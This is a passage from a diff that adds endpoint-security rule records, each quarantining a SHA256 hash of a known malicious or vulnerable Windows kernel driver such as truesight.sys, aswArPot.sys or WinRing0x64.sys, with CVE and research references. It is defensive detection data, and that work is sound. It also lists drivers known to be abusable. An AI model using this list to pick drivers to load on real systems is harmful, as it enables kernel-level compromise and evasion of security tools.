+  "id": "782a2e1c-0cc5-594a-bd9f-7e20daa50099",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144577Z",
+  "creation_date": "2026-03-23T11:45:32.144580Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144585Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "966cc215b2b8eb69aab3393114a10b7e07ba83df5b2587cb47fd3b172a3fa7cb",
+  "comment": "Malicious Kernel Driver (aka driver_312c83a9.sys) [https://www.loldrivers.io/drivers/495f0f36-c5e0-467d-8115-b5bdbe7ff686/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7830904f-3bea-5bd3-b2a1-0670d96b8abd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815832Z",
+  "creation_date": "2026-03-23T11:45:31.815834Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815840Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7d15fdcd606dc03b61badd7cacba1a62ddab3aa5acc174bc4b3573beec377591",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "784639c3-8701-54cc-87a4-4514b6953fc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828459Z",
+  "creation_date": "2026-03-23T11:45:31.828461Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828467Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "045365894e5d26b620eff819cce3f823e114f7b25ed1cd50b870bf81444bbe8c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7846edc1-3f02-5bd5-b92f-8ebae75947fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155632Z",
+  "creation_date": "2026-03-23T11:45:31.155634Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155639Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f0a2ac804c356a80313aa31dcc9c486cfd9078df64b65017d74be395d6cb9ec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "784c165f-1e92-52c6-bd1e-108bd18b4df6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975913Z",
+  "creation_date": "2026-03-23T11:45:29.975915Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975921Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ff09bb919a9909068166c30322c4e904befeba5429e9a11d011297fb8a73c07",
+  "comment": "Gigabyte vulnerable driver (aka GVCIDrv64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78595590-0f19-5b92-bf1a-74742f1f44f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977916Z",
+  "creation_date": "2026-03-23T11:45:29.977919Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977924Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a8c558e74ebe35a095a5b79d4bb26c10b18f8ebb449365e742f856d4e032555c",
+  "comment": "Malicious Kernel Driver (aka daxin_blank6.sys) [https://www.loldrivers.io/drivers/3d1439e9-9a7d-497a-8c6c-74513f825d6a/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "785dbe37-862e-5e72-a198-c01f0b51e93a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816935Z",
+  "creation_date": "2026-03-23T11:45:31.816939Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816955Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "001bdb1e584eede0b46a7fb21e678303e2370b2b176ecd7bba803d0afc2b244c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78685f2a-35d1-5a09-bdee-24c61ed9963c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831145Z",
+  "creation_date": "2026-03-23T11:45:30.831147Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831152Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8a387b02f003e7a45f5e4a99fe2a52dc239e6e7f77383eb97e477ace0808f79",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "786d4b1a-9a1f-550b-943a-037be644c7ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979709Z",
+  "creation_date": "2026-03-23T11:45:29.979711Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979716Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd759c6b9c4222c7b19e8b0ba7288d7395594d6884b9bcdf0ccfada3e6b7a8d5",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7874a311-e4b6-538d-acdc-63f401b6d801",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818399Z",
+  "creation_date": "2026-03-23T11:45:30.818401Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818406Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "065a34b786b0ccf6f88c136408943c3d2bd3da14357ee1e55e81e05d67a4c9bc",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "787e30d4-7582-5d2f-b193-c77fa09b8ddd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969116Z",
+  "creation_date": "2026-03-23T11:45:29.969118Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969123Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17687cba00ec2c9036dd3cb5430aa1f4851e64990dafb4c8f06d88de5283d6ca",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7888a8d3-bdd8-533b-b862-c33714323e6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453343Z",
+  "creation_date": "2026-03-23T11:45:30.453346Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453355Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "84739539aa6a9c9cb3c48c53f9399742883f17f24e081ebfa7bfaaf59f3ed451",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "788cc8a2-8204-5039-99d8-10fa825d98ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146601Z",
+  "creation_date": "2026-03-23T11:45:32.146603Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146608Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1df739ca8e7763776f84b421c7859fccb2fbfd47cf27f9980f646597f5ae7836",
+  "comment": "Malicious Kernel Driver (aka driver_89036534.sys) [https://www.loldrivers.io/drivers/750a8aa9-a87c-4142-b96b-18ea139ada14/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "789a395a-0cbc-5aa1-ac63-97d2ec542285",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812756Z",
+  "creation_date": "2026-03-23T11:45:31.812759Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812767Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "01ac08508f5e8224d00cee894d551ba032fb0c4f72addba4154b6d1fc710a25b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78a649d6-5538-51fd-b671-49800400722b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974783Z",
+  "creation_date": "2026-03-23T11:45:29.974785Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974791Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6bdf465db8860c80051d4d1b9db1c3153ab65c252f9500b85efc56d255b4cb1d",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78aeb5c2-d17d-5edc-889a-d5eb1ba8c4e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980993Z",
+  "creation_date": "2026-03-23T11:45:29.980995Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981065Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e89afd283d5789b8064d5487e04b97e2cd3fc0c711a8cec230543ebdf9ffc534",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78c0cf7d-5d08-501e-9259-31f7b1ca041b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614614Z",
+  "creation_date": "2026-03-23T11:45:29.614616Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614621Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5d530e111400785d183057113d70623e17af32931668ab7c7fc826f0fd4f91a3",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78c61919-9a0b-5031-8ba3-43d90e666e9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159849Z",
+  "creation_date": "2026-03-23T11:45:31.159852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159858Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc97e34326627da82b7c070491e018890190ad14224b153c4fca107eca0ff998",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78cebc51-b13f-57fc-8f28-f657eeef5792",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825540Z",
+  "creation_date": "2026-03-23T11:45:30.825542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "314d5dbb5fcd4feb7560a129fc7167718d59e11c40586f2342e03a282910ec2e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78d60d9b-5b21-549c-952b-0eb293816811",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617272Z",
+  "creation_date": "2026-03-23T11:45:29.617274Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617279Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9305f0834e67aa16fb252bd30927e5f835639ef4b868f20d232260edffefd6f0",
+  "comment": "Noriyuki MIYAZAKI's WinRing0 dangerous driver (aka WinRing0x64.sys) [CVE-2020-14979] [https://www.loldrivers.io/drivers/f0fd5bc6-9ebd-4eb0-93ce-9256a5b9abf9/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78de01de-0931-5b75-a54a-ed0d0908936a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835176Z",
+  "creation_date": "2026-03-23T11:45:30.835179Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835189Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f37c74b4ef7804653d9c1aa12237c3b01caa297544db5e0b4cdb90e5f5a8be8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78e444a6-050d-5276-88c2-f959ba6f201d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156904Z",
+  "creation_date": "2026-03-23T11:45:31.156906Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156911Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5bfc2787dc5265a1c260409f6c42639c7aeed978924f4924f7c695083b184c30",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78ef95d4-b94a-55a1-b9c8-753438d31203",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
